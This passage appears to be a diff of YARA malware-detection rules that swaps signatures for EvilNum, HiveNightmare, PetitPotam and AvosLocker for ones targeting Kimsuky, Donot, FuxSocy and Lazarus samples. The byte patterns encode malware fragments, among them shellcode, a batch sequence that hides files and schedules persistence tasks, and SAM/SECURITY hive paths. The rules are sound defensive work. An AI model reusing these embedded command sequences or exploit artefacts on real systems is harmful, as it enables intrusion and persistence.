"Arkbird_SOLG" - id = "9d570c02-606a-5bff-af7a-9b5ef1e6df90" - date = "2020-07-13" - modified = "2021-07-14" + id = "0b8d514b-82b6-5106-a87a-0890be1850d5" + date = "2021-08-03" + modified = "2021-08-04" reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-13/EvilNum/APT_EvilNum_LNK_Jul_2021_1.yara#L1-L22" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-04/Kimsuky/APT_Kimsuky_PDF_Shellcode_Aug_2021_1.yara#L1-L23" license_url = "N/A" - logic_hash = "d20aadfce6a0246f415f94a62edbf7fd48dcdcd9756a5a8d898a5459633b9350" - score = 75 + logic_hash = "432ae4d1e61aec51be03edf7767b1f05ea98d7cb7af90372a70f8ae86002f82a" + score = 50 quality = 75 tags = "FILE" - hash1 = "b60ae30ba90f852f886bb4e9aaabe910add2b70278e3a88a3b7968f644e10554" - hash2 = "bc203f44b48c9136786891be153311c37ce74ceb7eb540d515032c152f5eb2fb" - hash3 = "fefc9dbb46bc02a2bdccbf3c581d270f6341562e050e5357484ecae7e1e702f3" + hash1 = "7900ca98a6fbed74aa5a393758c43ad7abc9d8c73c3fbab7af93bae681065f4e" + hash2 = "359ab5e0b57da0307ca9472e5b225dcd0f9dc9bf2efd2f15b1ca45b78791b6bc" + hash3 = "5ea7a724d99fab3f05f50dccd57db59451334ac8640c532d426df319dad55c9e" + level = "Experimental" tlp = "white" - adversary = "EvilNum" + adversary = "Kimsuky" strings: - $s1 = "1-5-21-669817101-1001941732-3035937113-1000" fullword wide - $s2 = "*..\\..\\..\\..\\..\\..\\Windows\\System32\\cmd.exe" fullword wide - $s3 = "C:\\Windows\\System32\\cmd.exe" fullword wide - $s4 = "System32 (C:\\Windows)" fullword wide - $s5 = { 3d 00 25 00 74 00 6d 00 70 00 25 00 5c 00 74 00 65 00 73 00 74 00 2e 00 63 00 26 } - $s6 = { 3c 00 22 00 25 [5] 25 00 6d 00 64 00 22 00 26 00 6e 00 65 00 74 00 73 00 74 00 61 00 74 00 20 00 2d } - $s7 = { 43 00 3a 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 46 00 69 00 6c 00 65 00 73 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 4e 00 54 00 5c 00 41 00 63 00 63 00 65 00 73 00 73 00 6f 00 72 00 69 00 65 00 73 00 5c 00 77 00 6f 00 72 00 64 00 70 00 61 00 64 00 2e 00 65 00 78 00 65 } + $x1 = { 52 2f 53 2f 4a 61 76 61 53 63 72 69 70 74 3e 3e 0d 65 6e 64 6f 62 6a 0d } + $s1 = { 48 89 d4 57 e9 6f 22 47 16 ff ec 91 e6 7f a8 20 65 0c 43 db 53 7d e1 b6 } + $s2 = { 48 5e 64 35 50 98 b6 9b 63 9b 86 c1 1b f9 7f df f7 ea ea aa a6 31 78 f2 65 77 8e a6 bb } + $s3 = { ef a7 2c 5e 96 b8 84 06 66 b8 9e 54 cb 51 80 f1 66 35 65 69 0a 38 c5 35 7e 62 48 a2 18 c4 2b 76 0f ba 00 07 6a 2e c5 e3 71 66 ac 6d 12 f6 95 99 0b 37 a3 6c d1 5f 64 b3 fb 0e a0 8d f5 d9 f3 24 61 e9 18 c9 d9 6a a5 94 48 d3 5f e2 19 93 5a fe 33 99 e7 91 50 f5 8e 6e 5b 1d 07 1e 21 3c 2e 3c 7c bb 55 9f ad 2e 3c 7c 1f 1f } + $s4 = { b1 9a 3c f7 ce 9e 51 79 f2 c4 d9 13 3a a9 ee f0 95 3d fa be 86 ad cd ea d1 90 d4 4e 18 3a 51 58 b4 e9 97 b7 48 e5 62 32 36 5b 6c d8 ae a4 d2 1d b6 92 a7 af 67 15 c5 52 96 44 02 51 58 1c c7 1c a5 2f c3 28 d0 cf 56 10 f1 27 fd 1f 7e b7 9e 30 b5 9c e0 60 02 37 9e 44 4c 62 30 cb 36 2a a6 c4 f3 7c f1 5b 9e 25 73 d5 d4 f4 f0 fd 8a 1d 89 e1 9d 31 4b 59 ce 0c 33 b6 ab 4d 3b 5f a7 69 21 a0 42 11 13 f3 70 9f 27 33 b6 58 e7 38 49 2d 97 18 de bf c3 c2 97 35 4c 65 70 61 6a d7 1c 3e 7e f2 04 7e d1 39 bc a3 ad 5b 1e 51 65 0d 70 a5 4a 55 b3 89 d9 71 c7 1b 77 4f 15 41 0e 0a 09 28 ab 0d 14 43 af 55 f4 6c } + $s5 = { 91 42 d1 ed c0 be 73 73 3e 35 8f b4 8e 38 f9 97 ba f9 58 d6 8b 37 a8 82 29 e7 4d 35 ea e2 ba 48 e0 61 b5 a4 f6 d4 4b 90 6a 98 89 fb 81 39 8b 3b 18 de dc 9d b7 36 ec d2 f1 51 56 1a 10 d3 b5 6b b4 95 f9 1e 86 97 9c 71 d5 4b 9a fb 0c 89 ec 3c d4 1d ac 51 34 9f 63 4d 51 59 3c b1 11 7a cd 79 a0 7a d6 43 48 52 d6 9a 4f bb 70 9a f6 3d a5 8d 72 37 9c 5b 66 e8 37 b5 48 25 80 74 e3 c7 46 ae 45 47 8e b4 e5 e8 3a 52 cd d3 87 c1 67 27 d7 62 54 6e 52 86 71 c5 c1 9f 2c ee 31 fa 2e c9 6a 7b a0 60 50 9f 16 17 f9 45 cd d9 b5 00 78 e4 6c 6b b5 f2 8e e1 bd 00 7d 74 c5 a5 45 35 0c dc 79 9c 3d 82 6a 86 92 } condition: - filesize > 60KB and 6 of ( $s* ) + uint32( 0 ) == 0x46445025 and filesize > 25KB and $x1 and 4 of ( $s* ) } -rule ARKBIRD_SOLG_APT_Evilnum_JS_Jul_2021_1 : FILE +rule ARKBIRD_SOLG_APT_Kimsuky_PDF_Enc_Shellcode_Aug_2021_1 : FILE { meta: - description = "Detect JS script used by EvilNum group" + description = "Detect encoded Kimsuky shellcode used in fake PDF against South Korea" author = "Arkbird_SOLG" - id = "08b410c4-4899-5280-9735-6b3017c7a813" - date = "2020-07-13" - modified = "2021-07-14" + id = "8df7090a-6583-5d25-92bd-422e6b4191f7" + date = "2021-08-03" + modified = "2021-08-04" reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-13/EvilNum/APT_EvilNum_JS_Jul_2021_1.yara#L1-L22" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-04/Kimsuky/APT_Kimsuky_PDF_Enc_Shellcode_Aug_2021_1.yara#L1-L22" license_url = "N/A" - logic_hash = "0ace40e54f6dca078f17e7e157c7973642b83366ba792d2bcdc0d971f729fb68" - score = 75 - quality = 69 + logic_hash = "54f549b92c232f789aff039c748f1f987e68e9ee10dfab309f2ecba16d574cdb" + score = 50 + quality = 75 tags = "FILE" - hash1 = "8420577149bef1eb12387be3ea7c33f70272e457891dfe08fdb015ba7cd92c72" - hash2 = "c16824a585c9a77332fc16357b5e00fc110c00535480e9495c627f656bb60f24" - hash3 = "1061baf604aaa7ed5ba3026b9367de7b6c7f20e7e706d9e9b5308c45a64b2679" + hash1 = "83292ba7a1ddda6acf32181c693aa85b9e433fcb908a94ebccbed0f407a1a021" + hash2 = "512ad244c58064dfe102f27c9ec8814f3e3720593fe1e3ed48a8cb385d52ff84" + level = "Experimental" tlp = "white" - adversary = "EvilNum" + adversary = "Kimsuky" strings: - $s1 = { 57 53 63 72 69 70 74 2e 43 72 65 61 74 65 4f 62 6a 65 63 74 28 22 4d 53 58 6d 6c 32 2e 44 4f 4d 44 6f 63 75 6d 65 6e 74 22 29 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 42 61 73 65 36 34 44 61 74 61 22 29 3b } - $s2 = { 57 53 63 72 69 70 74 2e 43 72 65 61 74 65 4f 62 6a 65 63 74 28 22 4d 53 58 6d 6c 32 2e 44 4f 4d 44 6f 63 75 6d 65 6e 74 22 29 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 42 61 73 65 36 34 44 61 74 61 22 29 3b } - $s3 = { 69 66 20 28 2d 31 20 21 3d 20 57 53 63 72 69 70 74 2e 53 63 72 69 70 74 46 75 6c 6c 4e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 [1-8] 28 22 } - $s4 = { 52 75 6e 28 [1-8] 30 2c 20 30 29 } - $s5 = { 7d 2c 20 ?? 20 3d 20 ?? 2e 63 68 61 72 43 6f 64 65 41 74 28 30 29 2c 20 ?? 20 3d 20 ?? 2e 73 6c 69 63 65 28 31 2c 20 31 20 2b 20 ?? 29 2c 20 ?? 20 3d 20 ?? 2e 73 6c 69 63 65 28 31 20 2b 20 ?? 20 2b 20 34 29 2c 20 ?? 20 3d 20 5b 5d 2c } - $s6 = { 57 53 63 72 69 70 74 2e 43 72 65 61 74 65 4f 62 6a 65 63 74 28 22 41 44 4f 44 42 2e 53 74 72 65 61 6d 22 29 3b } - $s7 = { 5b ?? 5d 20 3d 20 ?? 20 2b 20 22 2d 22 20 2b 20 ?? 20 2b 20 22 2d 22 20 2b 20 ?? 20 2b 20 22 54 22 20 2b 20 ?? 20 2b 20 22 3a 22 20 2b 20 ?? 20 2b 20 22 3a 22 20 2b 20 ?? 3b } + $x1 = { 52 2f 53 2f 4a 61 76 61 53 63 72 69 70 74 3e 3e 0d 65 6e 64 6f 62 6a 0d } + $s1 = { 78 9c ec bd 6b 97 eb 4a 72 25 f6 57 8e b5 96 67 75 4f 6b 24 f0 25 8f a6 d5 b3 16 59 00 6a c8 19 80 06 86 28 9b 65 d9 b3 7a 58 b7 59 97 3c ea 96 fb 21 92 90 fb bf 3b 76 64 c6 23 93 f5 38 47 6a 8f f5 41 1f ee ba c5 03 12 40 66 46 46 c6 63 c7 8e 7f f8 } + $s2 = { 94 fe 9b f1 c7 1f e8 e3 0f f4 f1 87 19 fd 37 ff f9 17 fc db 8f f4 ed e2 e7 5f fe 1b fe ff df 7e fc 8b df fe f0 f7 5f 7f 79 f8 e1 27 7f f9 7f fc 5f cb 7f f7 fc cb 7f 37 16 ff ee af ff f6 67 7f fb 97 7f fb b7 bf f8 3f ff f2 f8 e7 74 e3 9f fe fc cb e5 f5 c7 af 3f 7c f9 c9 8f 5f fe 06 3f f9 fa c3 af 8f bf 7f a5 87 d3 fd e9 26 bf 7f fd f1 } + $s3 = { b6 7c 2a db e2 39 ae 67 75 d9 ee 56 ab 7e 27 f2 b5 2e ba 61 3d a5 f5 88 f3 5b 3f f6 b4 b6 6d d1 c9 fb ae 9a 20 93 63 5c cf 69 73 6e a6 dd 4e d6 6b 98 f4 67 92 01 fa 9e 3d 6f 98 f7 95 3c ef eb aa 3f 37 85 bd ef 70 69 c6 ba ea 77 4f } + $s4 = { 4d 51 d7 5b 7d de f2 96 c8 0b dd bf d9 2d e9 7d 87 85 ec 87 b6 a4 cf 43 dc 1f 55 37 d2 fd 2b 95 df 20 6f 45 ab e3 e1 eb 24 df 71 ff 40 fe 69 3f } + $s5 = { 0f 35 fc 43 53 cf 03 67 d3 85 fb 51 b6 49 5f 40 fa 5d a2 3f 7d 31 fb 0b 3d 6f 53 69 ff 78 aa 37 e8 f3 12 fe 35 3e 43 90 7c 9c e3 73 a6 78 1c 9c 21 ec bf 20 df eb f0 5a b7 76 6f fb ad 96 53 57 0f a4 fc c3 6a f5 6d fe 41 fc 19 ed f7 4f 78 3a e9 1f f8 23 3d 2b 8d 2f 86 79 d6 7b b2 f8 e0 85 f2 51 25 fc 70 8c } condition: - filesize > 8KB and 6 of ( $s* ) + uint32( 0 ) == 0x46445025 and filesize > 25KB and $x1 and 4 of ( $s* ) } -rule ARKBIRD_SOLG_Exp_CVE_2021_36934_July_2021_1 : FILE +rule ARKBIRD_SOLG_APT_Donot_Downloader_May_2021_1 : FILE { meta: - description = "Detect CVE_2021_36934 exploit (HiveNightmare)" + description = "Detect the trojan downloader used by Donot group" author = "Arkbird_SOLG" - id = "3a0ed4f7-8a99-569f-a636-4cd64c2121bb" - date = "2021-07-23" - modified = "2021-07-23" - reference = "https://github.com/GossiTheDog/HiveNightmare" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/20.21-07-23/HiveNightmare/Exp_CVE_2021_36934_July_2021_1.yara#L1-L23" + id = "251a809e-9e36-5c46-955f-006531bd9619" + date = "2020-05-09" + modified = "2021-05-09" + reference = "Internal Research" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-09/Donot/APT_Donot_Downloader_May_2021_1.yara#L1-L20" license_url = "N/A" - logic_hash = "2fd6cdf8a81f239473716d2c10a1754ebb2c60099eebd9d0cc1450ad3441075b" + logic_hash = "df64ab97b74935ce8b73c3854eb81fa1dbd4e59b1e27c43ae9c85b90aaaef6f7" score = 75 - quality = 48 + quality = 75 tags = "FILE" - hash1 = "0009d4950559b508353b951a314c5ac0aaae8161751017d3d4681dc805374eaa" - hash2 = "7baab69f86b50199456c9208624dd16aeb0d18d8a6f2010ee6501a183476f12f" - hash3 = "9035f88894a937892c63ac9a3c6c16301c7ecea7c11cf31d0fd24c39f17c8c2f" - tlp = "white" - adversary = "-" + hash1 = "28aa296bda12f0184564c5f6b46e679f07255aa8df58b861ea17910cdcaa674a" + hash2 = "03730cdc23a3d10c8752ad1464ff2e68a64c69f8310b0ceea4d52b1db0215dfc" + hash3 = "edd590c343570f7576aca83da58967e058585c6ba861682dca2fc987c713ee3a" + tlp = "White" + adversary = "Donot" strings: - $s1 = "\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy" fullword wide - $s2 = "Windows\\System32\\config\\SECURITY" fullword wide - $s3 = "Windows\\System32\\config\\SYSTEM" fullword wide - $s4 = "Windows\\System32\\config\\SAM" fullword wide - $s5 = "SECURITY-" fullword wide - $s6 = { 43 6f 75 6c 64 20 6e 6f 74 20 6f 70 65 6e 20 53 45 43 55 52 49 54 59 20 3a } - $s7 = { 7a d1 3f 99 5c 2d 21 79 f2 21 3d 00 58 ac 30 7a b5 d1 3f 7e 84 ff 62 3e cf 3d 3d } + $seq1 = { 65 63 68 6f 20 6f 66 66 0a 20 6d 64 20 25 73 20 0a 20 6d 64 20 25 73 20 0a 20 6d 64 20 25 73 20 0a 20 6d 64 20 25 73 20 0a 20 6d 64 20 25 73 20 0a 20 20 61 74 74 72 69 62 20 2b 61 20 2b 68 20 2b 73 20 25 73 20 0a 20 61 74 74 72 69 62 20 2b 61 20 2b 68 20 2b 73 20 25 73 20 0a 20 61 74 74 72 69 62 20 2b 61 20 2b 68 20 2b 73 20 25 73 20 0a 20 61 74 74 72 69 62 20 2b 61 20 2b 68 20 2b 73 20 25 73 20 0a 20 64 65 6c 20 2f 66 20 25 73 20 0a 20 53 45 54 20 2f 41 20 25 25 43 4f 4d 50 55 54 45 52 4e 41 4d 45 25 25 20 0a 20 53 45 54 20 2f 41 20 52 41 4e 44 3d 25 25 52 41 4e 44 4f 4d 25 25 20 31 30 30 30 30 20 2b 20 32 20 0a 20 65 63 68 6f 20 25 25 43 4f 4d 50 55 54 45 52 4e 41 4d 45 25 25 2d 25 25 52 41 4e 44 25 25 20 3e 3e 20 25 73 20 0a 20 73 63 68 74 61 73 6b 73 20 2f 64 65 6c 65 74 65 20 2f 74 6e 20 4d 6f 62 55 70 64 61 74 65 20 2f 66 20 20 0a 20 73 63 68 74 61 73 6b 73 20 2f 64 65 6c 65 74 65 20 2f 74 6e 20 54 61 73 6b 55 70 64 61 74 65 20 2f 66 20 0a 20 73 63 68 74 61 73 6b 73 20 2f 64 65 6c 65 74 65 20 2f 74 6e 20 4d 61 63 68 69 6e 65 43 6f 72 65 20 2f 66 20 0a 20 73 63 68 74 61 73 6b 73 20 2f 63 72 65 61 74 65 20 2f 73 63 20 6d 69 6e 75 74 65 20 2f 6d 6f 20 32 30 20 2f 66 20 2f 74 6e 20 54 61 73 6b 55 70 64 61 74 65 20 2f 74 72 20 25 73 20 20 0a 20 73 63 68 74 61 73 6b 73 20 2f 63 72 65 61 74 65 20 2f 73 63 20 6d 69 6e 75 74 65 20 2f 6d 6f 20 31 30 20 2f 66 20 2f 74 6e 20 4d 61 63 68 69 6e 65 43 6f 72 65 20 2f 74 72 20 25 73 20 0a 20 6d 6f 76 65 20 25 25 41 50 50 44 41 54 41 25 } + $seq2 = { c7 44 24 10 00 00 00 00 c7 44 24 0c 00 00 00 00 c7 44 24 08 00 00 00 00 c7 44 24 04 00 00 00 00 c7 04 24 ?? 42 [2] e8 ?? 01 00 00 83 ec 14 [0-3] c7 44 24 14 00 00 00 00 c7 44 24 10 00 00 00 00 c7 44 24 0c 00 00 00 00 c7 44 24 08 00 00 00 00 [2-5] 24 04 [0-3] 89 04 24 e8 ?? 01 00 00 83 ec 18 89 [1-9] c7 44 24 04 ?? 43 [2] c7 04 24 ?? 61 [2] e8 ?? 08 00 00 } + $s1 = "VirtualQuery failed for %d bytes at address %p" fullword ascii + $s2 = { 25 73 5c [1-14] 2e 62 61 74 } + $s3 = { 25 73 5c [1-14] 25 } condition: - uint16( 0 ) == 0x5A4D and filesize > 50KB and 5 of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 10KB and all of ( $seq* ) and 2 of ( $s* ) } -rule ARKBIRD_SOLG_Exp_Petitpotam_July_2021_1 : FILE +rule ARKBIRD_SOLG_RAN_Fuxsocy_May_2021_1 : FILE { meta: - description = "Detect PetitPotam exploit (local exploit version)" + description = "Detect FuxSocy ransomware" author = "Arkbird_SOLG" - id = "dd23c77d-9929-5130-aad8-2bcc0a7dcbaa" - date = "2021-07-23" - modified = "2021-07-24" - reference = "https://github.com/topotam/PetitPotam" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/20.21-07-23/PetitPotam/Exp_PetitPotam_July_2021_1.yara#L1-L24" + id = "2420c2fa-bc94-51a6-87ab-4e8d226fdd23" + date = "2020-05-09" + modified = "2021-05-09" + reference = "Internal Research" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-09/FuxSocy/RAN_FuxSocy_May_2021_1.yara#L1-L19" license_url = "N/A" - logic_hash = "a33a1dc2a3593063de2b65e01a770ff5c72ad360d88efdca588eacb8817fb91d" + logic_hash = "ab34f95d2b12bdf2d362538e880301542c3308fff427cfb5ee59e9dca89ec033" score = 75 - quality = 69 + quality = 75 tags = "FILE" - hash1 = "10cbadc2c82178d3b7bdf96ab39b9e8580ee92c2038728b74d314e506c7a9144" - tlp = "white" + hash1 = "d786355c1b3dc741103873aed46d8ffa3430d113a27482f37f3ffc7c978747f6" + hash2 = "43bbfb3389deb3846bba19a8ab2e9c8fd9b581720962b8170d4a63ad816b5804" + tlp = "White" adversary = "-" strings: - $s1 = "\\pipe\\lsarpc" fullword wide - $s2 = { 5c 00 5c 00 25 00 73 00 5c 00 [4-12] 5c 00 [4-12] 00 2e 00 65 00 78 00 65 } - $s3 = { 5c 00 5c 00 25 00 73 00 00 00 00 00 6e 00 63 00 61 00 63 00 6e 00 5f 00 6e 00 70 } - $s4 = { 23 46 69 6c 65 20 45 72 72 6f 72 23 28 25 64 29 20 3a } - $s5 = { 43 6c 69 65 6e 74 20 68 6f 6f 6b 20 61 6c 6c 6f 63 61 74 69 6f 6e 20 66 61 69 6c 75 72 65 20 61 74 20 66 69 6c 65 20 25 68 73 20 6c 69 6e 65 20 25 64 } - $s6 = { 50 e8 06 95 ff ff 83 c4 10 c7 85 00 ff ff ff 00 00 00 00 8b 85 00 ff ff ff 50 8d 8d 0c ff ff ff 51 8d 55 dc 52 8b 45 f4 50 e8 4e 7a ff ff 83 c4 10 89 45 e8 83 7d } - $s7 = "Attack success!!!\n" fullword wide - $s8 = { 8b 43 0c 56 83 e8 24 8d 73 20 50 56 8d 45 b4 50 8d 45 e8 50 e8 02 02 00 00 68 b8 52 4f 00 8d 45 b4 50 68 bc 52 4f 00 8d 45 e8 50 8b 43 0c 68 c0 52 4f 00 ff 75 10 83 e8 24 68 cc 52 4f 00 50 68 00 53 4f 00 56 68 0c 53 4f 00 68 20 53 4f 00 68 78 53 4f 00 8d 85 c0 fe ff ff 68 f4 00 00 00 50 e8 4e 91 ff ff 83 c4 4c 8d 85 c0 fe ff ff 50 6a 04 } - $s9 = { 25 73 25 73 25 70 25 73 25 7a 64 25 73 25 64 25 73 25 73 25 73 25 73 25 73 } - $s10 = { 25 00 6c 00 73 00 28 00 25 00 64 00 29 00 20 00 3a 00 20 00 25 00 6c 00 73 } + $seq1 = { b8 48 14 00 00 e8 b8 83 00 00 53 55 56 8d 44 24 48 8b e9 50 55 89 54 24 14 33 f6 ff 15 84 02 41 00 8b d8 85 db 0f 84 fa 00 00 00 57 8b cb e8 2b 09 00 00 8b f8 85 ff 0f 84 e7 00 00 00 57 53 56 55 ff 15 8c 02 41 00 8b 1d 78 02 41 00 8d 44 24 18 50 8d 44 24 18 50 68 cc 14 48 00 57 89 74 24 24 89 74 24 28 ff d3 83 7c 24 18 04 0f 82 ab 00 00 00 8b 44 24 10 8b 4c 24 14 c7 44 24 1c 00 15 48 00 c7 44 24 20 14 15 48 00 c7 44 24 24 30 15 48 00 c7 44 24 28 48 15 48 00 c7 44 24 2c 60 15 48 00 c7 44 24 30 80 15 48 00 c7 44 24 34 a0 15 48 00 c7 44 24 38 c0 15 48 00 c7 44 24 3c e0 15 48 00 c7 44 24 40 fc 15 48 00 c7 44 24 44 14 16 48 00 c7 44 24 48 38 16 48 00 ff 74 84 1c 0f b7 41 02 50 0f b7 01 50 8d 44 24 60 68 54 16 48 00 50 ff 15 64 02 41 00 83 c4 14 8d 44 24 50 50 8d 44 24 14 50 8d 44 24 5c 50 57 ff d3 85 c0 74 0d 8b 4c 24 10 33 d2 e8 47 0a 00 00 8b f0 8b cf e8 c9 08 00 00 5f 8b c6 5e 5d 5b 81 c4 48 14 00 00 } + $seq2 = { 8d 44 24 50 50 8d 44 24 4c 50 8d 44 24 2c 50 55 ff 15 ec 00 41 00 8b 44 24 14 8b 74 24 18 ff 74 24 68 88 87 57 01 08 00 66 a1 80 4d 41 00 [10] 88 9f 54 01 08 00 c6 87 63 01 08 00 10 89 b7 58 01 08 00 66 89 87 5d 01 08 00 ff 15 6c 00 41 00 0f b6 97 63 01 08 00 03 c0 66 89 87 55 01 08 00 8b 44 24 20 8d 8f 64 01 08 00 88 87 5c 01 08 00 e8 14 2b 00 00 8b 44 24 14 0f b6 c8 0f b7 87 55 01 08 00 83 c1 03 8d 0c c8 89 8f 4c 01 08 00 e8 2e 3a 00 00 8b c8 89 8f 48 01 08 00 85 c9 0f 84 0f 01 00 00 8b 44 24 28 89 41 04 8b 8f 48 01 08 00 8b 44 24 24 89 01 8b 8f 48 01 08 00 8b 44 24 4c 89 41 0c 8b 8f 48 01 08 00 8b 44 24 48 89 41 08 8b 8f 48 01 08 00 8b 44 24 54 89 41 14 8b 8f 48 01 08 00 8b 44 24 50 89 41 10 0f b7 87 55 01 08 00 50 8b 87 48 01 08 00 ff 74 24 6c 83 c0 18 50 e8 b4 b5 00 00 8b 4c 24 6c 33 d2 e8 bd 3b 00 00 8b 4c 24 70 33 d2 89 47 08 e8 af 3b 00 00 0f b6 97 63 01 08 00 89 47 0c 8b 44 24 78 89 87 28 02 08 00 8b 44 24 44 89 47 04 8d 87 44 00 08 00 50 8d 8f 64 01 08 00 89 2f e8 4d 24 00 00 89 b7 18 02 08 00 8b 87 c5 01 08 00 f7 a7 58 01 08 00 8b c8 0f b6 87 5c 01 08 00 8b f2 99 83 c4 10 ff b7 28 02 08 00 03 c8 13 f2 03 0d 80 4d 41 00 13 35 84 4d 41 00 89 8f 1c 02 08 00 89 b7 20 02 08 00 ff 15 c4 00 41 00 53 57 ff 74 24 44 55 ff 15 e8 00 41 00 } + $seq3 = { 57 68 ff 01 0f 00 ff 75 08 8b fa 51 32 db ff 15 0c 00 41 00 8b f0 85 f6 74 76 32 ff eb 52 84 ff 75 65 33 c0 50 50 50 50 50 50 50 6a ff 6a 04 6a ff 56 ff 15 10 00 41 00 8b 45 c0 83 f8 01 74 2c 76 2e 83 f8 03 76 1a 83 f8 04 75 24 8d 45 e0 50 6a 01 56 ff 15 18 00 41 00 } + $seq4 = { 6a ff 8d 45 fc 50 8d 45 08 50 8d 45 f8 50 ff 33 33 ff 89 7d f8 89 7d 08 89 7d fc ff 15 c8 00 41 00 85 c0 8b 45 08 0f 95 c1 85 c0 74 59 56 } + $seq5 = { 8b 45 08 56 ff 70 08 ff 15 dc 00 41 00 8b ce e8 af 2e 00 00 33 ff 57 ff 75 08 57 ff 33 ff 15 e4 } condition: - uint16( 0 ) == 0x5A4D and filesize > 50KB and 7 of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 30KB and 3 of ( $seq* ) } -rule ARKBIRD_SOLG_RAN_Avoslocker_July_2021_1 : FILE +rule ARKBIRD_SOLG_APT_Lazarus_HTA_Apr_2021_1 : FILE { meta: - description = "Detect AvosLocker ransomware" + description = "Detect HTA with the fake picture header as decoy used by Lazarus" author = "Arkbird_SOLG" - id = "3fbc707f-9802-54bc-933b-bc4c4953b1d0" - date = "2021-07-23" - modified = "2021-07-24" - reference = "https://blog.malwarebytes.com/threat-analysis/2021/07/avoslocker-enters-the-ransomware-scene-asks-for-partners/" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/20.21-07-23/AvosLocker/RAN_AvosLocker_July_2021_1.yara#L1-L23" + id = "1a57251e-f0fb-541c-bf8b-f1afecf7f1c7" + date = "2021-04-27" + modified = "2021-04-27" + reference = "Internal Research" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-04-27/Lazarus/APT_Lazarus_HTA_Apr_2021_1.yara#L1-L21" license_url = "N/A" - logic_hash = "e2291f574b5ab68e901a76b6511e0ee4c1eee51d5e3eced62bf68ceedb061958" + logic_hash = "40c2e5b662d1999c3ae5be97604bb9ebc809a383d66331cb4b385666ce55be2a" score = 75 - quality = 75 + quality = 63 tags = "FILE" - hash1 = "43b7a60c0ef8b4af001f45a0c57410b7374b1d75a6811e0dfc86e4d60f503856" - hash2 = "fb544e1f74ce02937c3a3657be8d125d5953996115f65697b7d39e237020706f" + hash1 = "888cfc87b44024c48eed794cc9d6dea9f6ae0cc3468dee940495e839a12ee0db" tlp = "white" - adversary = "-" + adversary = "Lazarus" strings: - $s1 = { 64 72 69 76 65 20 25 73 20 74 6f 6f 6b 20 25 66 20 73 65 63 6f 6e 64 73 0a 00 00 00 25 63 3a 00 64 72 69 76 65 3a 20 25 73 } - $s2 = { 63 6c 69 65 6e 74 5f 72 73 61 5f 70 72 69 76 3a 20 25 73 0a } - $s3 = { 2d 2d 2d 2d 2d 42 45 47 49 4e 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 2d 2d 2d 2d 2d 45 4e 44 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d } - $s4 = { ff 35 b8 2c 46 00 88 9d 7c ef ff ff e8 3c 56 02 00 50 8d 85 71 ef ff ff 50 e8 c5 9e ff ff 83 c4 0c 8d 85 94 ef ff ff 50 53 53 68 14 01 00 00 ff 35 b8 2c 46 00 ff b5 90 ef ff ff ff 15 00 a0 44 00 85 c0 0f 85 cd 00 00 00 8b 35 48 a0 44 00 8d 85 98 fe ff ff 53 68 ff 00 00 00 50 68 00 04 00 00 ff d6 50 53 68 00 10 00 00 ff 15 44 a0 44 00 b1 3e c7 85 70 ef ff ff 3e 7b 6c 6c c7 85 74 ef ff ff 71 6c 04 1e 8b c3 c7 85 78 ef ff ff 1b 4d 34 00 30 8c 05 71 ef ff ff 40 83 f8 0a 73 08 8a 8d 70 ef ff ff eb eb 8d 85 98 fe ff ff 88 9d 7b ef ff ff 50 8d 85 71 ef ff ff 50 e8 23 9e ff ff 0f 28 05 00 8b 45 00 59 0f 11 85 48 ef ff ff 59 0f 28 05 40 8b 45 00 8b cb 0f 11 85 58 ef ff ff 66 c7 } - $s5 = { 38 9d a0 fd ff ff 74 0c ff b5 94 fd ff ff e8 a6 ca ff ff 59 8d 85 ac fd ff ff 50 56 ff 15 48 a1 44 00 85 c0 0f 85 4d ff ff ff 8b 85 a4 fd ff ff 8b 8d 84 fd ff ff 8b 10 8b 40 04 2b c2 c1 f8 02 3b } - $s6 = { 4d 61 70 3a 20 25 73 0a 00 00 00 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 6e 00 67 00 20 00 25 00 6c 00 73 00 20 00 66 00 61 00 69 00 6c 00 65 00 64 } - $s7 = { 44 6f 6e 65 21 21 0a 00 25 66 20 73 65 63 6f 6e 64 73 0a } - $s8 = { 56 68 01 00 00 08 6a 01 52 ff 15 14 a0 44 00 85 c0 0f 84 97 00 00 00 8d 45 f8 50 53 53 6a 06 53 ff 36 8b 1d 20 a0 44 00 ff d3 85 c0 74 73 ff 75 f8 e8 3b a7 01 00 a3 b8 2c 46 00 59 85 c0 } + $s1 = { 0a 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 3e } + $s2 = { 5b 27 4f 70 65 6e 54 65 78 74 46 69 6c 65 27 2c 27 43 72 65 61 74 65 54 65 78 74 46 69 6c 65 27 } + $s3 = { 5b 27 70 75 73 68 27 5d } + $s4 = { 28 27 4d 5a 27 29 2c 65 